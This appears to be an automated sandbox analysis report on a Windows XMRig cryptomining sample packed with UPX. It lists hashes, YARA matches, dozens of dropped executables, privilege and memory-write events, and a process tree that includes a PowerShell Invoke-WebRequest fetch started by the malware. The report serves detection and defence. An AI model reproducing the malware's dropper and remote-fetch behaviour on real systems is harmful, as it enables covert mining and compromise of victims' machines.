xmrig | 09d5fd8467ce412e4236238fc05dc4709354ca009d53fd1be5077218660e7796

Analysis

max time kernel
150s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
29/04/2024, 02:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
Size

2.3MB
MD5

069fec2a80250ed64ad39673de054d59
SHA1

8c0958261f6171b4b92833f73305bcbec830dcae
SHA256

09d5fd8467ce412e4236238fc05dc4709354ca009d53fd1be5077218660e7796
SHA512

d0755060b8b46692aa8b918f5fb8e5002e24a5ee236e1ce94e23445406dde95ec35f788456f149f0f72c6445875f6cd63e37ec998cd8843ddca1a0758e3573d9
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTWsuT9cRbe:NABs

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 36 IoCs

miner

resource	yara_rule
behavioral2/memory/1632-424-0x00007FF76B960000-0x00007FF76BD52000-memory.dmp	xmrig
behavioral2/memory/3128-483-0x00007FF64A180000-0x00007FF64A572000-memory.dmp	xmrig
behavioral2/memory/2368-489-0x00007FF646CC0000-0x00007FF6470B2000-memory.dmp	xmrig
behavioral2/memory/5080-488-0x00007FF79AB40000-0x00007FF79AF32000-memory.dmp	xmrig
behavioral2/memory/804-487-0x00007FF7D6EF0000-0x00007FF7D72E2000-memory.dmp	xmrig
behavioral2/memory/5032-486-0x00007FF7343D0000-0x00007FF7347C2000-memory.dmp	xmrig
behavioral2/memory/3904-485-0x00007FF7A1AE0000-0x00007FF7A1ED2000-memory.dmp	xmrig
behavioral2/memory/4156-484-0x00007FF7B0390000-0x00007FF7B0782000-memory.dmp	xmrig
behavioral2/memory/2740-482-0x00007FF635320000-0x00007FF635712000-memory.dmp	xmrig
behavioral2/memory/2456-465-0x00007FF7A4090000-0x00007FF7A4482000-memory.dmp	xmrig
behavioral2/memory/3380-406-0x00007FF72B570000-0x00007FF72B962000-memory.dmp	xmrig
behavioral2/memory/3752-364-0x00007FF759490000-0x00007FF759882000-memory.dmp	xmrig
behavioral2/memory/2064-314-0x00007FF6CC460000-0x00007FF6CC852000-memory.dmp	xmrig
behavioral2/memory/2552-313-0x00007FF6C2D70000-0x00007FF6C3162000-memory.dmp	xmrig
behavioral2/memory/3984-294-0x00007FF7CEFA0000-0x00007FF7CF392000-memory.dmp	xmrig
behavioral2/memory/4968-252-0x00007FF7D82D0000-0x00007FF7D86C2000-memory.dmp	xmrig
behavioral2/memory/3840-215-0x00007FF72F260000-0x00007FF72F652000-memory.dmp	xmrig
behavioral2/memory/64-178-0x00007FF677EC0000-0x00007FF6782B2000-memory.dmp	xmrig
behavioral2/memory/2932-136-0x00007FF7F3D50000-0x00007FF7F4142000-memory.dmp	xmrig
behavioral2/memory/1380-94-0x00007FF7BEBA0000-0x00007FF7BEF92000-memory.dmp	xmrig
behavioral2/memory/408-58-0x00007FF748230000-0x00007FF748622000-memory.dmp	xmrig
behavioral2/memory/5080-4506-0x00007FF79AB40000-0x00007FF79AF32000-memory.dmp	xmrig
behavioral2/memory/3840-4521-0x00007FF72F260000-0x00007FF72F652000-memory.dmp	xmrig
behavioral2/memory/3752-4526-0x00007FF759490000-0x00007FF759882000-memory.dmp	xmrig
behavioral2/memory/2932-4534-0x00007FF7F3D50000-0x00007FF7F4142000-memory.dmp	xmrig
behavioral2/memory/3984-4543-0x00007FF7CEFA0000-0x00007FF7CF392000-memory.dmp	xmrig
behavioral2/memory/3380-4616-0x00007FF72B570000-0x00007FF72B962000-memory.dmp	xmrig
behavioral2/memory/3904-4600-0x00007FF7A1AE0000-0x00007FF7A1ED2000-memory.dmp	xmrig
behavioral2/memory/2064-4592-0x00007FF6CC460000-0x00007FF6CC852000-memory.dmp	xmrig
behavioral2/memory/1632-4598-0x00007FF76B960000-0x00007FF76BD52000-memory.dmp	xmrig
behavioral2/memory/2368-4574-0x00007FF646CC0000-0x00007FF6470B2000-memory.dmp	xmrig
behavioral2/memory/2456-4587-0x00007FF7A4090000-0x00007FF7A4482000-memory.dmp	xmrig
behavioral2/memory/2552-4556-0x00007FF6C2D70000-0x00007FF6C3162000-memory.dmp	xmrig
behavioral2/memory/4156-4641-0x00007FF7B0390000-0x00007FF7B0782000-memory.dmp	xmrig
behavioral2/memory/3128-4627-0x00007FF64A180000-0x00007FF64A572000-memory.dmp	xmrig
behavioral2/memory/2740-4618-0x00007FF635320000-0x00007FF635712000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
408	MNtZMvU.exe
5080	WXUUEUU.exe
1380	xjOWcMs.exe
2932	unGFpyc.exe
64	UQLJznb.exe
3840	YWmKDMq.exe
4968	hwAHbZU.exe
3984	YoyJMKd.exe
2552	dcFrYIr.exe
2064	quSHOHV.exe
3752	MyXdhZw.exe
2368	sZVKanU.exe
3380	SqUOdZJ.exe
1632	nRNDknS.exe
2456	zIdbean.exe
2740	MMipnCw.exe
3128	xomHXhp.exe
4156	KQQiybO.exe
3904	dtnaMzH.exe
5032	xmTZKgO.exe
804	fzyzpIt.exe
3216	tXCUPUk.exe
4216	yohjDMb.exe
4564	jFgLSui.exe
3020	cPLPpWa.exe
4628	tMiXtSy.exe
4860	DHGSpKQ.exe
4288	XRFWXcW.exe
1428	nTDqJvG.exe
2596	GkxWhVt.exe
3728	mkwcYhQ.exe
760	uVwEgYh.exe
1092	pryOavm.exe
932	CRBrIFD.exe
4456	iIkiqnW.exe
3160	NCnVXjO.exe
1700	dbwhwsZ.exe
3592	pbDgnFi.exe
1844	fuEVfER.exe
2060	PHxIsGq.exe
3444	svBupYP.exe
3436	HNrFiMQ.exe
4964	KYnTQYH.exe
4944	eguImkA.exe
3140	izDUYhc.exe
4956	SayExwL.exe
448	TmTmErL.exe
1112	vsUmGya.exe
3392	wYcuSMg.exe
1828	FGWXPPS.exe
2272	KxPcYjS.exe
464	bGsBVyO.exe
3212	bEMqTWi.exe
4376	wWXdtAI.exe
4112	yyVdNmY.exe
3700	ypcnLnz.exe
3412	txMhmRB.exe
728	EISSfbg.exe
4636	RUPLpsH.exe
3476	NUghDaa.exe
2036	ZGfJNiS.exe
1908	JbzyiOJ.exe
3344	GVMaJui.exe
2440	POuLGNB.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4620-0-0x00007FF69BBD0000-0x00007FF69BFC2000-memory.dmp	upx
behavioral2/files/0x000b000000023b7e-5.dat	upx
behavioral2/files/0x000a000000023b82-9.dat	upx
behavioral2/files/0x000a000000023b84-15.dat	upx
behavioral2/files/0x000a000000023b8c-131.dat	upx
behavioral2/files/0x000a000000023ba4-167.dat	upx
behavioral2/files/0x000a000000023b98-206.dat	upx
behavioral2/memory/1632-424-0x00007FF76B960000-0x00007FF76BD52000-memory.dmp	upx
behavioral2/memory/3128-483-0x00007FF64A180000-0x00007FF64A572000-memory.dmp	upx
behavioral2/memory/2368-489-0x00007FF646CC0000-0x00007FF6470B2000-memory.dmp	upx
behavioral2/memory/5080-488-0x00007FF79AB40000-0x00007FF79AF32000-memory.dmp	upx
behavioral2/memory/804-487-0x00007FF7D6EF0000-0x00007FF7D72E2000-memory.dmp	upx
behavioral2/memory/5032-486-0x00007FF7343D0000-0x00007FF7347C2000-memory.dmp	upx
behavioral2/memory/3904-485-0x00007FF7A1AE0000-0x00007FF7A1ED2000-memory.dmp	upx
behavioral2/memory/4156-484-0x00007FF7B0390000-0x00007FF7B0782000-memory.dmp	upx
behavioral2/memory/2740-482-0x00007FF635320000-0x00007FF635712000-memory.dmp	upx
behavioral2/memory/2456-465-0x00007FF7A4090000-0x00007FF7A4482000-memory.dmp	upx
behavioral2/memory/3380-406-0x00007FF72B570000-0x00007FF72B962000-memory.dmp	upx
behavioral2/memory/3752-364-0x00007FF759490000-0x00007FF759882000-memory.dmp	upx
behavioral2/memory/2064-314-0x00007FF6CC460000-0x00007FF6CC852000-memory.dmp	upx
behavioral2/memory/2552-313-0x00007FF6C2D70000-0x00007FF6C3162000-memory.dmp	upx
behavioral2/memory/3984-294-0x00007FF7CEFA0000-0x00007FF7CF392000-memory.dmp	upx
behavioral2/memory/4968-252-0x00007FF7D82D0000-0x00007FF7D86C2000-memory.dmp	upx
behavioral2/memory/3840-215-0x00007FF72F260000-0x00007FF72F652000-memory.dmp	upx
behavioral2/files/0x000a000000023b92-201.dat	upx
behavioral2/files/0x000a000000023baa-196.dat	upx
behavioral2/files/0x000a000000023ba9-195.dat	upx
behavioral2/files/0x000a000000023b96-193.dat	upx
behavioral2/files/0x000a000000023ba8-192.dat	upx
behavioral2/files/0x000b000000023b7f-191.dat	upx
behavioral2/files/0x000a000000023b9c-190.dat	upx
behavioral2/files/0x000a000000023ba7-187.dat	upx
behavioral2/files/0x000a000000023b94-181.dat	upx
behavioral2/memory/64-178-0x00007FF677EC0000-0x00007FF6782B2000-memory.dmp	upx
behavioral2/files/0x000a000000023ba5-177.dat	upx
behavioral2/files/0x000a000000023b91-166.dat	upx
behavioral2/files/0x000b000000023ba3-200.dat	upx
behavioral2/files/0x000a000000023ba1-162.dat	upx
behavioral2/files/0x000a000000023b90-159.dat	upx
behavioral2/files/0x000a000000023b97-158.dat	upx
behavioral2/files/0x000a000000023ba0-155.dat	upx
behavioral2/files/0x000a000000023b9f-151.dat	upx
behavioral2/files/0x000a000000023b9e-150.dat	upx
behavioral2/files/0x000a000000023b8e-148.dat	upx
behavioral2/files/0x000a000000023b9d-146.dat	upx
behavioral2/files/0x000a000000023b9b-142.dat	upx
behavioral2/files/0x000a000000023b8d-141.dat	upx
behavioral2/memory/2932-136-0x00007FF7F3D50000-0x00007FF7F4142000-memory.dmp	upx
behavioral2/files/0x000a000000023b9a-133.dat	upx
behavioral2/files/0x000a000000023b93-170.dat	upx
behavioral2/files/0x000a000000023b8f-107.dat	upx
behavioral2/files/0x000a000000023b95-144.dat	upx
behavioral2/memory/1380-94-0x00007FF7BEBA0000-0x00007FF7BEF92000-memory.dmp	upx
behavioral2/files/0x000a000000023b99-130.dat	upx
behavioral2/files/0x000a000000023b87-81.dat	upx
behavioral2/files/0x000a000000023b8a-98.dat	upx
behavioral2/files/0x000a000000023b88-66.dat	upx
behavioral2/files/0x000a000000023b8b-52.dat	upx
behavioral2/files/0x000a000000023b85-45.dat	upx
behavioral2/files/0x000a000000023b89-73.dat	upx
behavioral2/memory/408-58-0x00007FF748230000-0x00007FF748622000-memory.dmp	upx
behavioral2/files/0x000a000000023b86-42.dat	upx
behavioral2/files/0x000a000000023b83-27.dat	upx
behavioral2/memory/5080-4506-0x00007FF79AB40000-0x00007FF79AF32000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\jaeIwBK.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\UDDjhsb.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\tZWyKYF.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\eAKbuyL.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\UAkaSGT.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\pXRzmFZ.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\ahBjzXT.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\JFyByUJ.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\PIbKtjl.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\saxolLV.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\uRWNJwk.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\RgLIdjX.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\XrQDtne.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\Lfjlubf.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\KkGUzdw.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\kmRxDBc.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\prbMhWr.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\LhSRSko.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\oTHqThJ.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\bnUVGeF.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\eJMFNpF.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\MEttQcZ.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\jRNCKYe.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\yfJjGAc.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\uZdTHRn.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\YiQkOHm.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\kysigYv.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\eYlpYdA.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\GLKhAiw.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\rLEPFHB.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\bTQxUIZ.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\mvUiqSB.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\bQWfMsy.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\GPBBFwh.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\OEgdGQD.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\RSYAGPm.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\oYCoaXv.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\ExQyQLk.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\oAUUJwz.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\xmLUCnr.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\xMJxbhq.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\baRlZxn.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\fkedMfN.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\usgfLGD.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\SAfZEfl.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\oosHLwH.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\kmFPkko.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\RCQHqOt.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\BGUoweP.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\BOfGhkA.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\oXhdsqd.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\kQgWQdM.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\OdsrBjt.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\sMijngB.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\shDWJvR.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\uZGEjBu.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\BTYmCgt.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\QtjUIyW.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\KgXhMlN.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\NjFacKX.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\YexqReL.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\GbeSsOj.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\GSFBUIB.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
File created	C:\Windows\System\mutAoKt.exe	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
Token: SeDebugPrivilege	2308	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 2308	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	84
PID 4620 wrote to memory of 2308	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	84
PID 4620 wrote to memory of 408	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	85
PID 4620 wrote to memory of 408	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	85
PID 4620 wrote to memory of 5080	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	86
PID 4620 wrote to memory of 5080	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	86
PID 4620 wrote to memory of 1380	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	87
PID 4620 wrote to memory of 1380	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	87
PID 4620 wrote to memory of 2932	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	88
PID 4620 wrote to memory of 2932	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	88
PID 4620 wrote to memory of 64	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	89
PID 4620 wrote to memory of 64	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	89
PID 4620 wrote to memory of 3840	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	90
PID 4620 wrote to memory of 3840	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	90
PID 4620 wrote to memory of 4968	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	91
PID 4620 wrote to memory of 4968	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	91
PID 4620 wrote to memory of 3984	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	92
PID 4620 wrote to memory of 3984	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	92
PID 4620 wrote to memory of 2552	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	93
PID 4620 wrote to memory of 2552	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	93
PID 4620 wrote to memory of 2064	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	94
PID 4620 wrote to memory of 2064	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	94
PID 4620 wrote to memory of 3752	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	95
PID 4620 wrote to memory of 3752	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	95
PID 4620 wrote to memory of 2368	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	96
PID 4620 wrote to memory of 2368	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	96
PID 4620 wrote to memory of 3380	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	97
PID 4620 wrote to memory of 3380	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	97
PID 4620 wrote to memory of 1632	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	98
PID 4620 wrote to memory of 1632	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	98
PID 4620 wrote to memory of 2456	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	99
PID 4620 wrote to memory of 2456	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	99
PID 4620 wrote to memory of 2740	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	100
PID 4620 wrote to memory of 2740	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	100
PID 4620 wrote to memory of 3128	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	101
PID 4620 wrote to memory of 3128	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	101
PID 4620 wrote to memory of 4156	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	102
PID 4620 wrote to memory of 4156	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	102
PID 4620 wrote to memory of 3904	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	103
PID 4620 wrote to memory of 3904	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	103
PID 4620 wrote to memory of 5032	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	104
PID 4620 wrote to memory of 5032	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	104
PID 4620 wrote to memory of 4628	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	105
PID 4620 wrote to memory of 4628	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	105
PID 4620 wrote to memory of 804	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	106
PID 4620 wrote to memory of 804	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	106
PID 4620 wrote to memory of 3728	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	107
PID 4620 wrote to memory of 3728	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	107
PID 4620 wrote to memory of 3216	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	108
PID 4620 wrote to memory of 3216	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	108
PID 4620 wrote to memory of 4216	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	109
PID 4620 wrote to memory of 4216	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	109
PID 4620 wrote to memory of 4564	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	110
PID 4620 wrote to memory of 4564	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	110
PID 4620 wrote to memory of 3020	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	111
PID 4620 wrote to memory of 3020	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	111
PID 4620 wrote to memory of 3160	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	112
PID 4620 wrote to memory of 3160	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	112
PID 4620 wrote to memory of 4860	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	113
PID 4620 wrote to memory of 4860	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	113
PID 4620 wrote to memory of 4288	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	114
PID 4620 wrote to memory of 4288	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	114
PID 4620 wrote to memory of 1428	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	115
PID 4620 wrote to memory of 1428	4620	069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe	115

C:\Users\Admin\AppData\Local\Temp\069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\069fec2a80250ed64ad39673de054d59_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2308
- C:\Windows\System\MNtZMvU.exe
  C:\Windows\System\MNtZMvU.exe
  2⤵
  - Executes dropped EXE
  PID:408
- C:\Windows\System\WXUUEUU.exe
  C:\Windows\System\WXUUEUU.exe
  2⤵
  - Executes dropped EXE
  PID:5080
- C:\Windows\System\xjOWcMs.exe
  C:\Windows\System\xjOWcMs.exe
  2⤵
  - Executes dropped EXE
  PID:1380
- C:\Windows\System\unGFpyc.exe
  C:\Windows\System\unGFpyc.exe
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Windows\System\UQLJznb.exe
  C:\Windows\System\UQLJznb.exe
  2⤵
  - Executes dropped EXE
  PID:64
- C:\Windows\System\YWmKDMq.exe
  C:\Windows\System\YWmKDMq.exe
  2⤵
  - Executes dropped EXE
  PID:3840
- C:\Windows\System\hwAHbZU.exe
  C:\Windows\System\hwAHbZU.exe
  2⤵
  - Executes dropped EXE
  PID:4968
- C:\Windows\System\YoyJMKd.exe
  C:\Windows\System\YoyJMKd.exe
  2⤵
  - Executes dropped EXE
  PID:3984
- C:\Windows\System\dcFrYIr.exe
  C:\Windows\System\dcFrYIr.exe
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\Windows\System\quSHOHV.exe
  C:\Windows\System\quSHOHV.exe
  2⤵
  - Executes dropped EXE
  PID:2064
- C:\Windows\System\MyXdhZw.exe
  C:\Windows\System\MyXdhZw.exe
  2⤵
  - Executes dropped EXE
  PID:3752
- C:\Windows\System\sZVKanU.exe
  C:\Windows\System\sZVKanU.exe
  2⤵
  - Executes dropped EXE
  PID:2368
- C:\Windows\System\SqUOdZJ.exe
  C:\Windows\System\SqUOdZJ.exe
  2⤵
  - Executes dropped EXE
  PID:3380
- C:\Windows\System\nRNDknS.exe
  C:\Windows\System\nRNDknS.exe
  2⤵
  - Executes dropped EXE
  PID:1632
- C:\Windows\System\zIdbean.exe
  C:\Windows\System\zIdbean.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\MMipnCw.exe
  C:\Windows\System\MMipnCw.exe
  2⤵
  - Executes dropped EXE
  PID:2740
- C:\Windows\System\xomHXhp.exe
  C:\Windows\System\xomHXhp.exe
  2⤵
  - Executes dropped EXE
  PID:3128
- C:\Windows\System\KQQiybO.exe
  C:\Windows\System\KQQiybO.exe
  2⤵
  - Executes dropped EXE
  PID:4156
- C:\Windows\System\dtnaMzH.exe
  C:\Windows\System\dtnaMzH.exe
  2⤵
  - Executes dropped EXE
  PID:3904
- C:\Windows\System\xmTZKgO.exe
  C:\Windows\System\xmTZKgO.exe
  2⤵
  - Executes dropped EXE
  PID:5032
- C:\Windows\System\tMiXtSy.exe
  C:\Windows\System\tMiXtSy.exe
  2⤵
  - Executes dropped EXE
  PID:4628
- C:\Windows\System\fzyzpIt.exe
  C:\Windows\System\fzyzpIt.exe
  2⤵
  - Executes dropped EXE
  PID:804
- C:\Windows\System\mkwcYhQ.exe
  C:\Windows\System\mkwcYhQ.exe
  2⤵
  - Executes dropped EXE
  PID:3728
- C:\Windows\System\tXCUPUk.exe
  C:\Windows\System\tXCUPUk.exe
  2⤵
  - Executes dropped EXE
  PID:3216
- C:\Windows\System\yohjDMb.exe
  C:\Windows\System\yohjDMb.exe
  2⤵
  - Executes dropped EXE
  PID:4216
- C:\Windows\System\jFgLSui.exe
  C:\Windows\System\jFgLSui.exe
  2⤵
  - Executes dropped EXE
  PID:4564
- C:\Windows\System\cPLPpWa.exe
  C:\Windows\System\cPLPpWa.exe
  2⤵
  - Executes dropped EXE
  PID:3020
- C:\Windows\System\NCnVXjO.exe
  C:\Windows\System\NCnVXjO.exe
  2⤵
  - Executes dropped EXE
  PID:3160
- C:\Windows\System\DHGSpKQ.exe
  C:\Windows\System\DHGSpKQ.exe
  2⤵
  - Executes dropped EXE
  PID:4860
- C:\Windows\System\XRFWXcW.exe
  C:\Windows\System\XRFWXcW.exe
  2⤵
  - Executes dropped EXE
  PID:4288
- C:\Windows\System\nTDqJvG.exe
  C:\Windows\System\nTDqJvG.exe
  2⤵
  - Executes dropped EXE
  PID:1428
- C:\Windows\System\GkxWhVt.exe
